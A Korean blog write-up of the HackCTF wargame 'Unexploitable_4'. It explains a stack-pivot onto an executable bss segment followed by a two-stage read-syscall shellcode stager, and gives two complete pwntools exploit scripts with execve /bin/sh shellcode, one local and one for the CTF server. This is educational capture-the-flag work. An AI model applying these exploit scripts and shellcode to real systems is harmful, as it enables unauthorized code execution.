누가 물어봐서 잠깐 봤는데 나름 참신한? 풀이가 생각나서 기록해둔다. 가능한 워게임 라업은 안 쓰려고 하는데, 이 사이트는 다들 라업 공개하실길래 그냥 쓴다.
➜ unexploitable checksec ./Unexploitable_4
[*] '/home/jjy/lab/hackctf/unexploitable/Unexploitable_4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
제목에서 알 수 있듯이 pwnable.kr의 unexploitable에서 따온 문제인듯하다.
rbp에 bss의 주소를 적고 lea rax,[rbp+x]로 점프하면 bss 영역에 값을 쓸 수 있다.
bss영역에 RWX 권한이 있기 때문에 해당 부분에 shellcode를 써서 거기로 점프하면 된다. 다만 길이 제한이 있고, rsp와 rip가 겹치기 때문에 일반적인 push pop shellcode는 사용할 수 없다. read syscall을 이용하여 쉘 코드를 한 번 더 입력받는 식으로 이러한 제약을 없앨 수 있다. read syscall을 이용할 때는 문자열을 만들 필요가 없어서 쉘코드가 짧아지기 때문이다.
쉘코딩 빡센 문제는 이런 접근법을 한 번 생각해봐야겠다.
ubuntu 18.04에서는 rdi와 rsi의 값이 적절해서 rdx 값만 바꿔주면 쉘이 따졌다.
from pwn import *
import time
p=process('Unexploitable_4')
#gdb.attach(p)
bss=p64(0x601090)
read=p64(0x4006DB )
payload = "A"*0x10
payload+= bss
payload+= read#ret
payload+=bss
p.sendline(payload)
#time.sleep(2)
gdb.attach(p)
pause()
shellcode= "mov edx,0x400;syscall"
payload = asm(shellcode)
payload = payload.ljust(0x18)
payload+=p64(0x601080)
p.sendline(payload)
pause()
shell ="\x90"*0x200
shell+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shell)
p.interactive()
하지만 서버에서는 다른 버전을 쓰는지 해당 레지스터의 값이 달랐던 모양인지 쉘이 안 따졌다. rsi값을 직접 넣어줬다. 18.04에서는 7바이트 쉘코드로 충분했던 반면 서버에서는 12바이트 쉘코드가 필요하다.(물론 길이를 줄이려는 노력은 하지 않았다.)
from pwn import *
import time
p= remote("ctf.j0n9hyun.xyz",3039)
#p=process('Unexploitable_4')
#gdb.attach(p)
bss=p64(0x601090)
read=p64(0x4006DB )
payload = "A"*0x10
payload+= bss
payload+= read#ret
payload+=bss
p.sendline(payload)
#time.sleep(2)
#gdb.attach(p)
pause()
shellcode= "mov esi,0x601080;xor eax,eax;mov edx,0x400;syscall"
payload = asm(shellcode)
print(len(payload))
payload = payload.ljust(0x18)
payload+=p64(0x601080)
p.sendline(payload)
pause()
shell ="\x90"*0x200
shell+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shell)
p.interactive()
real world에서는 이렇게 한 번 더 입력받는 형태의 쉘코드보다 하나의 쉘코드 자체로 원하는 바를 이루는 쉘코드가 선호될 것이다. 하지만 CTF에서는 그럭저럭 쓸만한 트릭같다.
'PWN' 카테고리의 다른 글
2020 PWN2WIN / tukro (0) | 2020.06.01 |
---|---|
2020 DawgCTF / trASCII (0) | 2020.04.14 |
FireShell CTF 2020 / FireHTTPD (0) | 2020.03.23 |
peda, pwndbg, gef 같이 쓰기 (0) | 2020.03.08 |
HSCTF / hard_heap (0) | 2020.02.19 |